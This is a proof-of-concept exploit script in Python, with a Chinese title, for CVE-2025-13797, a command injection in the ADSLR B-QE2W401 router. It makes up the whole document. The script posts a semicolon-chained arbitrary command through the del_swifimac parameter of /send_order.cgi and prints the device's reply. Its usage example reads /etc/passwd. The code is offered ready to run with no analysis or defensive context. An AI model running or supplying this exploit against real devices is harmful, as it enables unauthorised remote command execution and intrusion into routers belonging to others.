CVE-2025-13797 ADSLR B-QE2W401路由器命令注入漏洞

import requests import sys # CVE-2025-13797 PoC - Command Injection in ADSLR B-QE2W401 # Affected endpoint: /send_order.cgi # Vulnerable parameter: del_swifimac def exploit(target_ip, target_port=80, command='id'): """ Exploit command injection vulnerability in ADSLR B-QE2W401 Args: target_ip: Target device IP address target_port: Target device web port (default: 80) command: Command to execute on the target system Returns: Response from the target device """ url = f"http://{target_ip}:{target_port}/send_order.cgi" # Inject command through del_swifimac parameter # Using semicolon to chain commands payload = f"; {command}" data = { 'del_swifimac': payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.post(url, data=data, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_13797_poc.py <target_ip> [command]") print("Example: python cve_2025_13797_poc.py 192.168.1.1 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else 'id' print(f"[*] Targeting {target}") print(f"[*] Executing command: {cmd}") print("[*] Sending exploit request...") result = exploit(target, 80, cmd) print("\n[+] Response:") print(result) if __name__ == "__main__": main()